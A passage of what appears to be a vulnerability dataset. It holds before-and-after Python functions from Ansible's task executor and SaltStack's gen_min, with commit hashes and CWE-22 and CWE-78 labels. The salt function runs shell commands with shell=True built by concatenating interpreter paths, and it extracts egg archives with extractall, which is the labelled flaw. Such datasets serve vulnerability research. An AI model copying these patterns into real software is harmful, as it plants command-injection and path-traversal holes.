
        self._set_connection_options(variables, templar)
        self._set_shell_options(variables, templar)

        # get handler
        self._handler = self._get_action_handler(connection=self._connection, templar=templar)

        # Apply default params for action/module, if present
        # These are collected as a list of dicts, so we need to merge them
        module_defaults = {}
        for default in self._task.module_defaults:
            module_defaults.update(default)
        if module_defaults:
            module_defaults = templar.template(module_defaults)
        if self._task.action in module_defaults:
            tmp_args = module_defaults[self._task.action].copy()
            tmp_args.update(self._task.args)
            self._task.args = tmp_args

        # And filter out any fields which were set to default(omit), and got the omit token value
        omit_token = variables.get('omit')
        if omit_token is not None:
            self._task.args = remove_omit(self._task.args, omit_token)

        # Read some values from the task, so that we can modify them if need be
        if self._task.until:
            retries = self._task.retries
            if retries is None:
                retries = 3
            elif retries <= 0:
                retries = 1
            else:
                retries += 1
        else:
            retries = 1

        delay = self._task.delay
        if delay < 0:
            delay = 1

        # make a copy of the job vars here, in case we need to update them
        # with the registered variable value later on when testing conditions
        vars_copy = variables.copy()

        display.debug(""starting attempt loop"")
        result = None
        for attempt in range(1, retries + 1):
            display.debug(""running the handler"")
            try:
                result = self._handler.run(task_vars=variables)
            except AnsibleActionSkip as e:
                return dict(skipped=True, msg=to_text(e))
            except AnsibleActionFail as e:
                return dict(failed=True, msg=to_text(e))
            except AnsibleConnectionFailure as e:
                return dict(unreachable=True, msg=to_text(e))
            display.debug(""handler run complete"")

            # preserve no log
            result[""_ansible_no_log""] = self._play_context.no_log

            # update the local copy of vars with the registered value, if specified,
            # or any facts which may have been generated by the module execution
            if self._task.register:
                vars_copy[self._task.register] = wrap_var(result)

            if self._task.async_val > 0:
                if self._task.poll > 0 and not result.get('skipped') and not result.get('failed'):
                    result = self._poll_async_result(result=result, templar=templar, task_vars=vars_copy)
                    # FIXME callback 'v2_runner_on_async_poll' here

                # ensure no log is preserved
                result[""_ansible_no_log""] = self._play_context.no_log

            # helper methods for use below in evaluating changed/failed_when
            def _evaluate_changed_when_result(result):
                if self._task.changed_when is not None and self._task.changed_when:
                    cond = Conditional(loader=self._loader)
                    cond.when = self._task.changed_when
                    result['changed'] = cond.evaluate_conditional(templar, vars_copy)

            def _evaluate_failed_when_result(result):
                if self._task.failed_when:
                    cond = Conditional(loader=self._loader)
                    cond.when = self._task.failed_when
                    failed_when_result = cond.evaluate_conditional(templar, vars_copy)
                    result['failed_when_result'] = result['failed'] = failed_when_result
                else:
                    failed_when_result = False
                return failed_when_result

            if 'ansible_facts' in result:
                if self._task.action in ('set_fact', 'include_vars'):
                    vars_copy.update(result['ansible_facts'])
                else:
                    vars_copy.update(namespace_facts(result['ansible_facts']))
                    if C.INJECT_FACTS_AS_VARS:
                        vars_copy.update(clean_facts(result['ansible_facts']))

            # set the failed property if it was missing.
            if 'failed' not in result:
                # rc is here for backwards compatibility and modules that use it instead of 'failed'
                if 'rc' in result and result['rc'] not in [0, ""0""]:
                    result['failed'] = True
                else:
                    result['failed'] = False

            # Make attempts and retries available early to allow their use in changed/failed_when
            if self._task.until:
                result['attempts'] = attempt

            # set the changed property if it was missing.
            if 'changed' not in result:
                result['changed'] = False

            # re-update the local copy of vars with the registered value, if specified,
            # or any facts which may have been generated by the module execution
            # This gives changed/failed_when access to additional recently modified
            # attributes of result
            if self._task.register:
                vars_copy[self._task.register] = wrap_var(result)

            # if we didn't skip this task, use the helpers to evaluate the changed/
            # failed_when properties
            if 'skipped' not in result:
                _evaluate_changed_when_result(result)
                _evaluate_failed_when_result(result)

            if retries > 1:
                cond = Conditional(loader=self._loader)
                cond.when = self._task.until
                if cond.evaluate_conditional(templar, vars_copy):
                    break
                else:
                    # no conditional check, or it failed, so sleep for the specified time
                    if attempt < retries:
                        result['_ansible_retry'] = True
                        result['retries'] = retries
                        display.debug('Retrying task, attempt %d of %d' % (attempt, retries))
                        self._rslt_q.put(TaskResult(self._host.name, self._task._uuid, result, task_fields=self._task.dump_attrs()), block=False)
                        time.sleep(delay)
        else:
            if retries > 1:
                # we ran out of attempts, so mark the result as failed
                result['attempts'] = retries - 1
                result['failed'] = True

        # do the final update of the local variables here, for both registered
        # values and any facts which may have been created
        if self._task.register:
            variables[self._task.register] = wrap_var(result)

        if 'ansible_facts' in result:
            if self._task.action in ('set_fact', 'include_vars'):
                variables.update(result['ansible_facts'])
            else:
                variables.update(namespace_facts(result['ansible_facts']))
                if C.INJECT_FACTS_AS_VARS:
                    variables.update(clean_facts(result['ansible_facts']))

        # save the notification target in the result, if it was specified, as
        # this task may be running in a loop in which case the notification
        # may be item-specific, ie. ""notify: service {{item}}""
        if self._task.notify is not None:
            result['_ansible_notify'] = self._task.notify

        # add the delegated vars to the result, so we can reference them
        # on the results side without having to do any further templating
        # FIXME: we only want a limited set of variables here, so this is currently
        #        hardcoded but should be possibly fixed if we want more or if
        #        there is another source of truth we can use
        delegated_vars = variables.get('ansible_delegated_vars', dict()).get(self._task.delegate_to, dict()).copy()
        if len(delegated_vars) > 0:
            result[""_ansible_delegated_vars""] = {'ansible_delegated_host': self._task.delegate_to}
            for k in ('ansible_host', ):
                result[""_ansible_delegated_vars""][k] = delegated_vars.get(k)

        # and return
        display.debug(""attempt loop complete, returning result"")
        return result",,ansible/ansible,2f5161628a3d6a6e021755bb6001c6873f518833,"def _execute(self, variables=None):
        '''
        The primary workhorse of the executor system, this runs the task
        on the specified host (which may be the delegated_to host) and handles
        the retry/until and block rescue/always execution
        '''

        if variables is None:
            variables = self._job_vars

        templar = Templar(loader=self._loader, shared_loader_obj=self._shared_loader_obj, variables=variables)

        context_validation_error = None
        try:
            # apply the given task's information to the connection info,
            # which may override some fields already set by the play or
            # the options specified on the command line
            self._play_context = self._play_context.set_task_and_variable_override(task=self._task, variables=variables, templar=templar)

            # fields set from the play/task may be based on variables, so we have to
            # do the same kind of post validation step on it here before we use it.
            self._play_context.post_validate(templar=templar)

            # now that the play context is finalized, if the remote_addr is not set
            # default to using the host's address field as the remote address
            if not self._play_context.remote_addr:
                self._play_context.remote_addr = self._host.address

            # We also add ""magic"" variables back into the variables dict to make sure
            # a certain subset of variables exist.
            self._play_context.update_vars(variables)

            # FIXME: update connection/shell plugin options
        except AnsibleError as e:
            # save the error, which we'll raise later if we don't end up
            # skipping this task during the conditional evaluation step
            context_validation_error = e

        # Evaluate the conditional (if any) for this task, which we do before running
        # the final task post-validation. We do this before the post validation due to
        # the fact that the conditional may specify that the task be skipped due to a
        # variable not being present which would otherwise cause validation to fail
        try:
            if not self._task.evaluate_conditional(templar, variables):
                display.debug(""when evaluation is False, skipping this task"")
                return dict(changed=False, skipped=True, skip_reason='Conditional result was False', _ansible_no_log=self._play_context.no_log)
        except AnsibleError:
            # loop error takes precedence
            if self._loop_eval_error is not None:
                raise self._loop_eval_error  # pylint: disable=raising-bad-type
            # skip conditional exception in the case of includes as the vars needed might not be available except in the included tasks or due to tags
            if self._task.action not in ['include', 'include_tasks', 'include_role']:
                raise

        # Not skipping, if we had loop error raised earlier we need to raise it now to halt the execution of this task
        if self._loop_eval_error is not None:
            raise self._loop_eval_error  # pylint: disable=raising-bad-type

        # if we ran into an error while setting up the PlayContext, raise it now
        if context_validation_error is not None:
            raise context_validation_error  # pylint: disable=raising-bad-type

        # if this task is a TaskInclude, we just return now with a success code so the
        # main thread can expand the task list for the given host
        if self._task.action in ('include', 'include_tasks'):
            include_variables = self._task.args.copy()
            include_file = include_variables.pop('_raw_params', None)
            if not include_file:
                return dict(failed=True, msg=""No include file was specified to the include"")

            include_file = templar.template(include_file)
            return dict(include=include_file, include_variables=include_variables)

        # if this task is a IncludeRole, we just return now with a success code so the main thread can expand the task list for the given host
        elif self._task.action == 'include_role':
            include_variables = self._task.args.copy()
            return dict(include_variables=include_variables)

        # Now we do final validation on the task, which sets all fields to their final values.
        self._task.post_validate(templar=templar)
        if '_variable_params' in self._task.args:
            variable_params = self._task.args.pop('_variable_params')
            if isinstance(variable_params, dict):
                display.deprecated(""Using variables for task params is unsafe, especially if the variables come from an external source like facts"",
                                   version=""2.6"")
                variable_params.update(self._task.args)
                self._task.args = variable_params

        # get the connection and the handler for this execution
        if (not self._connection or
                not getattr(self._connection, 'connected', False) or
                self._play_context.remote_addr != self._connection._play_context.remote_addr):
            self._connection = self._get_connection(variables=variables, templar=templar)
        else:
            # if connection is reused, its _play_context is no longer valid and needs
            # to be replaced with the one templated above, in case other data changed
            self._connection._play_context = self._play_context

        self._set_connection_options(variables, templar)
        self._set_shell_options(variables, templar)

        # get handler
        self._handler = self._get_action_handler(connection=self._connection, templar=templar)

        # Apply default params for action/module, if present
        # These are collected as a list of dicts, so we need to merge them
        module_defaults = {}
        for default in self._task.module_defaults:
            module_defaults.update(default)
        if module_defaults:
            module_defaults = templar.template(module_defaults)
        if self._task.action in module_defaults:
            tmp_args = module_defaults[self._task.action].copy()
            tmp_args.update(self._task.args)
            self._task.args = tmp_args

        # And filter out any fields which were set to default(omit), and got the omit token value
        omit_token = variables.get('omit')
        if omit_token is not None:
            self._task.args = remove_omit(self._task.args, omit_token)

        # Read some values from the task, so that we can modify them if need be
        if self._task.until:
            retries = self._task.retries
            if retries is None:
                retries = 3
            elif retries <= 0:
                retries = 1
            else:
                retries += 1
        else:
            retries = 1

        delay = self._task.delay
        if delay < 0:
            delay = 1

        # make a copy of the job vars here, in case we need to update them
        # with the registered variable value later on when testing conditions
        vars_copy = variables.copy()

        display.debug(""starting attempt loop"")
        result = None
        for attempt in range(1, retries + 1):
            display.debug(""running the handler"")
            try:
                result = self._handler.run(task_vars=variables)
            except AnsibleActionSkip as e:
                return dict(skipped=True, msg=to_text(e))
            except AnsibleActionFail as e:
                return dict(failed=True, msg=to_text(e))
            except AnsibleConnectionFailure as e:
                return dict(unreachable=True, msg=to_text(e))
            display.debug(""handler run complete"")

            # preserve no log
            result[""_ansible_no_log""] = self._play_context.no_log

            # update the local copy of vars with the registered value, if specified,
            # or any facts which may have been generated by the module execution
            if self._task.register:
                vars_copy[self._task.register] = wrap_var(result)

            if self._task.async_val > 0:
                if self._task.poll > 0 and not result.get('skipped') and not result.get('failed'):
                    result = self._poll_async_result(result=result, templar=templar, task_vars=vars_copy)
                    # FIXME callback 'v2_runner_on_async_poll' here

                # ensure no log is preserved
                result[""_ansible_no_log""] = self._play_context.no_log

            # helper methods for use below in evaluating changed/failed_when
            def _evaluate_changed_when_result(result):
                if self._task.changed_when is not None and self._task.changed_when:
                    cond = Conditional(loader=self._loader)
                    cond.when = self._task.changed_when
                    result['changed'] = cond.evaluate_conditional(templar, vars_copy)

            def _evaluate_failed_when_result(result):
                if self._task.failed_when:
                    cond = Conditional(loader=self._loader)
                    cond.when = self._task.failed_when
                    failed_when_result = cond.evaluate_conditional(templar, vars_copy)
                    result['failed_when_result'] = result['failed'] = failed_when_result
                else:
                    failed_when_result = False
                return failed_when_result

            if 'ansible_facts' in result:
                if self._task.action in ('set_fact', 'include_vars'):
                    vars_copy.update(result['ansible_facts'])
                else:
                    vars_copy.update(namespace_facts(result['ansible_facts']))
                    if C.INJECT_FACTS_AS_VARS:
                        vars_copy.update(clean_facts(result['ansible_facts']))

            # set the failed property if it was missing.
            if 'failed' not in result:
                # rc is here for backwards compatibility and modules that use it instead of 'failed'
                if 'rc' in result and result['rc'] not in [0, ""0""]:
                    result['failed'] = True
                else:
                    result['failed'] = False

            # Make attempts and retries available early to allow their use in changed/failed_when
            if self._task.until:
                result['attempts'] = attempt

            # set the changed property if it was missing.
            if 'changed' not in result:
                result['changed'] = False

            # re-update the local copy of vars with the registered value, if specified,
            # or any facts which may have been generated by the module execution
            # This gives changed/failed_when access to additional recently modified
            # attributes of result
            if self._task.register:
                vars_copy[self._task.register] = wrap_var(result)

            # if we didn't skip this task, use the helpers to evaluate the changed/
            # failed_when properties
            if 'skipped' not in result:
                _evaluate_changed_when_result(result)
                _evaluate_failed_when_result(result)

            if retries > 1:
                cond = Conditional(loader=self._loader)
                cond.when = self._task.until
                if cond.evaluate_conditional(templar, vars_copy):
                    break
                else:
                    # no conditional check, or it failed, so sleep for the specified time
                    if attempt < retries:
                        result['_ansible_retry'] = True
                        result['retries'] = retries
                        display.debug('Retrying task, attempt %d of %d' % (attempt, retries))
                        self._rslt_q.put(TaskResult(self._host.name, self._task._uuid, result, task_fields=self._task.dump_attrs()), block=False)
                        time.sleep(delay)
        else:
            if retries > 1:
                # we ran out of attempts, so mark the result as failed
                result['attempts'] = retries - 1
                result['failed'] = True

        # do the final update of the local variables here, for both registered
        # values and any facts which may have been created
        if self._task.register:
            variables[self._task.register] = wrap_var(result)

        if 'ansible_facts' in result:
            if self._task.action in ('set_fact', 'include_vars'):
                variables.update(result['ansible_facts'])
            else:
                variables.update(namespace_facts(result['ansible_facts']))
                if C.INJECT_FACTS_AS_VARS:
                    variables.update(clean_facts(result['ansible_facts']))

        # save the notification target in the result, if it was specified, as
        # this task may be running in a loop in which case the notification
        # may be item-specific, ie. ""notify: service {{item}}""
        if self._task.notify is not None:
            result['_ansible_notify'] = self._task.notify

        # add the delegated vars to the result, so we can reference them
        # on the results side without having to do any further templating
        # FIXME: we only want a limited set of variables here, so this is currently
        #        hardcoded but should be possibly fixed if we want more or if
        #        there is another source of truth we can use
        delegated_vars = variables.get('ansible_delegated_vars', dict()).get(self._task.delegate_to, dict()).copy()
        if len(delegated_vars) > 0:
            result[""_ansible_delegated_vars""] = {'ansible_delegated_host': self._task.delegate_to}
            for k in ('ansible_host', ):
                result[""_ansible_delegated_vars""][k] = delegated_vars.get(k)

        # and return
        display.debug(""attempt loop complete, returning result"")
        return result"
,UNKNOWN,UNKNOWN,salt/utils/thin.py,1,"def gen_min(cachedir, extra_mods='', overwrite=False, so_mods='',
            python2_bin='python2', python3_bin='python3'):
    '''
    Generate the salt-min tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run min.generate
        salt-run min.generate mako
        salt-run min.generate mako,wempy 1
        salt-run min.generate overwrite=1
    '''
    mindir = os.path.join(cachedir, 'min')
    if not os.path.isdir(mindir):
        os.makedirs(mindir)
    mintar = os.path.join(mindir, 'min.tgz')
    minver = os.path.join(mindir, 'version')
    pyminver = os.path.join(mindir, '.min-gen-py-version')
    salt_call = os.path.join(mindir, 'salt-call')
    with salt.utils.files.fopen(salt_call, 'wb') as fp_:
        fp_.write(SALTCALL)
    if os.path.isfile(mintar):
        if not overwrite:
            if os.path.isfile(minver):
                with salt.utils.files.fopen(minver) as fh_:
                    overwrite = fh_.read() != salt.version.__version__
                if overwrite is False and os.path.isfile(pyminver):
                    with salt.utils.files.fopen(pyminver) as fh_:
                        overwrite = fh_.read() != str(sys.version_info[0])  # future lint: disable=blacklisted-function
            else:
                overwrite = True

        if overwrite:
            try:
                os.remove(mintar)
            except OSError:
                pass
        else:
            return mintar
    if _six.PY3:
        # Let's check for the minimum python 2 version requirement, 2.6
        py_shell_cmd = (
            python2_bin + ' -c \'from __future__ import print_function; import sys; '
            'print(""{0}.{1}"".format(*(sys.version_info[:2])));\''
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, shell=True)
        stdout, _ = cmd.communicate()
        if cmd.returncode == 0:
            py2_version = tuple(int(n) for n in stdout.decode('utf-8').strip().split('.'))
            if py2_version < (2, 6):
                # Bail!
                raise salt.exceptions.SaltSystemExit(
                    'The minimum required python version to run salt-ssh is ""2.6"".'
                    'The version reported by ""{0}"" is ""{1}"". Please try ""salt-ssh '
                    '--python2-bin=<path-to-python-2.6-binary-or-higher>"".'.format(python2_bin,
                                                                                stdout.strip())
                )
    elif sys.version_info < (2, 6):
        # Bail! Though, how did we reached this far in the first place.
        raise salt.exceptions.SaltSystemExit(
            'The minimum required python version to run salt-ssh is ""2.6"".'
        )

    tops_py_version_mapping = {}
    tops = get_tops(extra_mods=extra_mods, so_mods=so_mods)
    if _six.PY2:
        tops_py_version_mapping['2'] = tops
    else:
        tops_py_version_mapping['3'] = tops

    # TODO: Consider putting known py2 and py3 compatible libs in it's own sharable directory.
    #       This would reduce the min size.
    if _six.PY2 and sys.version_info[0] == 2:
        # Get python 3 tops
        py_shell_cmd = (
            python3_bin + ' -c \'import sys; import json; import salt.utils.thin; '
            'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
            '\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout)
                tops_py_version_mapping['3'] = tops
            except ValueError:
                pass
    if _six.PY3 and sys.version_info[0] == 3:
        # Get python 2 tops
        py_shell_cmd = (
            python2_bin + ' -c \'from __future__ import print_function; '
            'import sys; import json; import salt.utils.thin; '
            'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
            '\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout.decode('utf-8'))
                tops_py_version_mapping['2'] = tops
            except ValueError:
                pass

    tfp = tarfile.open(mintar, 'w:gz', dereference=True)
    try:  # cwd may not exist if it was removed but salt was run from it
        start_dir = os.getcwd()
    except OSError:
        start_dir = None
    tempdir = None

    # This is the absolute minimum set of files required to run salt-call
    min_files = (
        'salt/__init__.py',
        'salt/utils',
        'salt/utils/__init__.py',
        'salt/utils/atomicfile.py',
        'salt/utils/validate',
        'salt/utils/validate/__init__.py',
        'salt/utils/validate/path.py',
        'salt/utils/decorators',
        'salt/utils/decorators/__init__.py',
        'salt/utils/cache.py',
        'salt/utils/xdg.py',
        'salt/utils/odict.py',
        'salt/utils/minions.py',
        'salt/utils/dicttrim.py',
        'salt/utils/sdb.py',
        'salt/utils/migrations.py',
        'salt/utils/files.py',
        'salt/utils/parsers.py',
        'salt/utils/locales.py',
        'salt/utils/lazy.py',
        'salt/utils/s3.py',
        'salt/utils/dictupdate.py',
        'salt/utils/verify.py',
        'salt/utils/args.py',
        'salt/utils/kinds.py',
        'salt/utils/xmlutil.py',
        'salt/utils/debug.py',
        'salt/utils/jid.py',
        'salt/utils/openstack',
        'salt/utils/openstack/__init__.py',
        'salt/utils/openstack/swift.py',
        'salt/utils/asynchronous.py',
        'salt/utils/process.py',
        'salt/utils/jinja.py',
        'salt/utils/rsax931.py',
        'salt/utils/context.py',
        'salt/utils/minion.py',
        'salt/utils/error.py',
        'salt/utils/aws.py',
        'salt/utils/timed_subprocess.py',
        'salt/utils/zeromq.py',
        'salt/utils/schedule.py',
        'salt/utils/url.py',
        'salt/utils/yamlencoding.py',
        'salt/utils/network.py',
        'salt/utils/http.py',
        'salt/utils/gzip_util.py',
        'salt/utils/vt.py',
        'salt/utils/templates.py',
        'salt/utils/aggregation.py',
        'salt/utils/yaml.py',
        'salt/utils/yamldumper.py',
        'salt/utils/yamlloader.py',
        'salt/utils/event.py',
        'salt/utils/state.py',
        'salt/serializers',
        'salt/serializers/__init__.py',
        'salt/serializers/yamlex.py',
        'salt/template.py',
        'salt/_compat.py',
        'salt/loader.py',
        'salt/client',
        'salt/client/__init__.py',
        'salt/ext',
        'salt/ext/__init__.py',
        'salt/ext/six.py',
        'salt/ext/ipaddress.py',
        'salt/version.py',
        'salt/syspaths.py',
        'salt/defaults',
        'salt/defaults/__init__.py',
        'salt/defaults/exitcodes.py',
        'salt/renderers',
        'salt/renderers/__init__.py',
        'salt/renderers/jinja.py',
        'salt/renderers/yaml.py',
        'salt/modules',
        'salt/modules/__init__.py',
        'salt/modules/test.py',
        'salt/modules/selinux.py',
        'salt/modules/cmdmod.py',
        'salt/modules/saltutil.py',
        'salt/minion.py',
        'salt/pillar',
        'salt/pillar/__init__.py',
        'salt/textformat.py',
        'salt/log',
        'salt/log/__init__.py',
        'salt/log/handlers',
        'salt/log/handlers/__init__.py',
        'salt/log/mixins.py',
        'salt/log/setup.py',
        'salt/cli',
        'salt/cli/__init__.py',
        'salt/cli/caller.py',
        'salt/cli/daemons.py',
        'salt/cli/salt.py',
        'salt/cli/call.py',
        'salt/fileserver',
        'salt/fileserver/__init__.py',
        'salt/transport',
        'salt/transport/__init__.py',
        'salt/transport/client.py',
        'salt/exceptions.py',
        'salt/grains',
        'salt/grains/__init__.py',
        'salt/grains/extra.py',
        'salt/scripts.py',
        'salt/state.py',
        'salt/fileclient.py',
        'salt/crypt.py',
        'salt/config.py',
        'salt/beacons',
        'salt/beacons/__init__.py',
        'salt/payload.py',
        'salt/output',
        'salt/output/__init__.py',
        'salt/output/nested.py',
    )

    for py_ver, tops in _six.iteritems(tops_py_version_mapping):
        for top in tops:
            base = os.path.basename(top)
            top_dirname = os.path.dirname(top)
            if os.path.isdir(top_dirname):
                os.chdir(top_dirname)
            else:
                # This is likely a compressed python .egg
                tempdir = tempfile.mkdtemp()
                egg = zipfile.ZipFile(top_dirname)
                egg.extractall(tempdir)
                top = os.path.join(tempdir, base)
                os.chdir(tempdir)
            if not os.path.isdir(top):
                # top is a single file module
                tfp.add(base, arcname=os.path.join('py{0}'.format(py_ver), base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if name.endswith(('.pyc', '.pyo')):
                        continue
                    if root.startswith('salt') and os.path.join(root, name) not in min_files:
                        continue
                    tfp.add(os.path.join(root, name),
                            arcname=os.path.join('py{0}'.format(py_ver), root, name))
            if tempdir is not None:
                shutil.rmtree(tempdir)
                tempdir = None

    os.chdir(mindir)
    tfp.add('salt-call')
    with salt.utils.files.fopen(minver, 'w+') as fp_:
        fp_.write(salt.version.__version__)
    with salt.utils.files.fopen(pyminver, 'w+') as fp_:
        fp_.write(str(sys.version_info[0]))  # future lint: disable=blacklisted-function
    os.chdir(os.path.dirname(minver))
    tfp.add('version')
    tfp.add('.min-gen-py-version')
    if start_dir:
        os.chdir(start_dir)
    tfp.close()
    return mintar","CWE-22, CWE-78",saltstack/salt,b7da5716240afe1214af71a6a8e1b55e18e9b39b,"def gen_min(cachedir, extra_mods='', overwrite=False, so_mods='',
            python2_bin='python2', python3_bin='python3'):
    '''
    Generate the salt-min tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run min.generate
        salt-run min.generate mako
        salt-run min.generate mako,wempy 1
        salt-run min.generate overwrite=1
    '''
    mindir = os.path.join(cachedir, 'min')
    if not os.path.isdir(mindir):
        os.makedirs(mindir)
    mintar = os.path.join(mindir, 'min.tgz')
    minver = os.path.join(mindir, 'version')
    pyminver = os.path.join(mindir, '.min-gen-py-version')
    salt_call = os.path.join(mindir, 'salt-call')
    with salt.utils.files.fopen(salt_call, 'wb') as fp_:
        fp_.write(SALTCALL)
    if os.path.isfile(mintar):
        if not overwrite:
            if os.path.isfile(minver):
                with salt.utils.files.fopen(minver) as fh_:
                    overwrite = fh_.read() != salt.version.__version__
                if overwrite is False and os.path.isfile(pyminver):
                    with salt.utils.files.fopen(pyminver) as fh_:
                        overwrite = fh_.read() != str(sys.version_info[0])  # future lint: disable=blacklisted-function
            else:
                overwrite = True

        if overwrite:
            try:
                os.remove(mintar)
            except OSError:
                pass
        else:
            return mintar
    if _six.PY3:
        # Let's check for the minimum python 2 version requirement, 2.6
        py_shell_cmd = (
            python2_bin + ' -c \'from __future__ import print_function; import sys; '
            'print(""{0}.{1}"".format(*(sys.version_info[:2])));\''
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, shell=True)
        stdout, _ = cmd.communicate()
        if cmd.returncode == 0:
            py2_version = tuple(int(n) for n in stdout.decode('utf-8').strip().split('.'))
            if py2_version < (2, 6):
                # Bail!
                raise salt.exceptions.SaltSystemExit(
                    'The minimum required python version to run salt-ssh is ""2.6"".'
                    'The version reported by ""{0}"" is ""{1}"". Please try ""salt-ssh '
                    '--python2-bin=<path-to-python-2.6-binary-or-higher>"".'.format(python2_bin,
                                                                                stdout.strip())
                )
    elif sys.version_info < (2, 6):
        # Bail! Though, how did we reached this far in the first place.
        raise salt.exceptions.SaltSystemExit(
            'The minimum required python version to run salt-ssh is ""2.6"".'
        )

    tops_py_version_mapping = {}
    tops = get_tops(extra_mods=extra_mods, so_mods=so_mods)
    if _six.PY2:
        tops_py_version_mapping['2'] = tops
    else:
        tops_py_version_mapping['3'] = tops

    # TODO: Consider putting known py2 and py3 compatible libs in it's own sharable directory.
    #       This would reduce the min size.
    if _six.PY2 and sys.version_info[0] == 2:
        # Get python 3 tops
        py_shell_cmd = (
            python3_bin + ' -c \'import sys; import json; import salt.utils.thin; '
            'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
            '\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout)
                tops_py_version_mapping['3'] = tops
            except ValueError:
                pass
    if _six.PY3 and sys.version_info[0] == 3:
        # Get python 2 tops
        py_shell_cmd = (
            python2_bin + ' -c \'from __future__ import print_function; '
            'import sys; import json; import salt.utils.thin; '
            'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
            '\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        )
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout.decode('utf-8'))
                tops_py_version_mapping['2'] = tops
            except ValueError:
                pass

    tfp = tarfile.open(mintar, 'w:gz', dereference=True)
    try:  # cwd may not exist if it was removed but salt was run from it
        start_dir = os.getcwd()
    except OSError:
        start_dir = None
    tempdir = None

    # This is the absolute minimum set of files required to run salt-call
    min_files = (
        'salt/__init__.py',
        'salt/utils',
        'salt/utils/__init__.py',
        'salt/utils/atomicfile.py',
        'salt/utils/validate',
        'salt/utils/validate/__init__.py',
        'salt/utils/validate/path.py',
        'salt/utils/decorators',
        'salt/utils/decorators/__init__.py',
        'salt/utils/cache.py',
        'salt/utils/xdg.py',
        'salt/utils/odict.py',
        'salt/utils/minions.py',
        'salt/utils/dicttrim.py',
        'salt/utils/sdb.py',
        'salt/utils/migrations.py',
        'salt/utils/files.py',
        'salt/utils/parsers.py',
        'salt/utils/locales.py',
        'salt/utils/lazy.py',
        'salt/utils/s3.py',
        'salt/utils/dictupdate.py',
        'salt/utils/verify.py',
        'salt/utils/args.py',
        'salt/utils/kinds.py',
        'salt/utils/xmlutil.py',
        'salt/utils/debug.py',
        'salt/utils/jid.py',
        'salt/utils/openstack',
        'salt/utils/openstack/__init__.py',
        'salt/utils/openstack/swift.py',
        'salt/utils/async.py',
        'salt/utils/process.py',
        'salt/utils/jinja.py',
        'salt/utils/rsax931.py',
        'salt/utils/context.py',
        'salt/utils/minion.py',
        'salt/utils/error.py',
        'salt/utils/aws.py',
        'salt/utils/timed_subprocess.py',
        'salt/utils/zeromq.py',
        'salt/utils/schedule.py',
        'salt/utils/url.py',
        'salt/utils/yamlencoding.py',
        'salt/utils/network.py',
        'salt/utils/http.py',
        'salt/utils/gzip_util.py',
        'salt/utils/vt.py',
        'salt/utils/templates.py',
        'salt/utils/aggregation.py',
        'salt/utils/yaml.py',
        'salt/utils/yamldumper.py',
        'salt/utils/yamlloader.py',
        'salt/utils/event.py',
        'salt/utils/state.py',
        'salt/serializers',
        'salt/serializers/__init__.py',
        'salt/serializers/yamlex.py',
        'salt/template.py',
        'salt/_compat.py',
        'salt/loader.py',
        'salt/client',
        'salt/client/__init__.py',
        'salt/ext',
        'salt/ext/__init__.py',
        'salt/ext/six.py',
        'salt/ext/ipaddress.py',
        'salt/version.py',
        'salt/syspaths.py',
        'salt/defaults',
        'salt/defaults/__init__.py',
        'salt/defaults/exitcodes.py',
        'salt/renderers',
        'salt/renderers/__init__.py',
        'salt/renderers/jinja.py',
        'salt/renderers/yaml.py',
        'salt/modules',
        'salt/modules/__init__.py',
        'salt/modules/test.py',
        'salt/modules/selinux.py',
        'salt/modules/cmdmod.py',
        'salt/modules/saltutil.py',
        'salt/minion.py',
        'salt/pillar',
        'salt/pillar/__init__.py',
        'salt/textformat.py',
        'salt/log',
        'salt/log/__init__.py',
        'salt/log/handlers',
        'salt/log/handlers/__init__.py',
        'salt/log/mixins.py',
        'salt/log/setup.py',
        'salt/cli',
        'salt/cli/__init__.py',
        'salt/cli/caller.py',
        'salt/cli/daemons.py',
        'salt/cli/salt.py',
        'salt/cli/call.py',
        'salt/fileserver',
        'salt/fileserver/__init__.py',
        'salt/transport',
        'salt/transport/__init__.py',
        'salt/transport/client.py',
        'salt/exceptions.py',
        'salt/grains',
        'salt/grains/__init__.py',
        'salt/grains/extra.py',
        'salt/scripts.py',
        'salt/state.py',
        'salt/fileclient.py',
        'salt/crypt.py',
        'salt/config.py',
        'salt/beacons',
        'salt/beacons/__init__.py',
        'salt/payload.py',
        'salt/output',
        'salt/output/__init__.py',
        'salt/output/nested.py',
    )

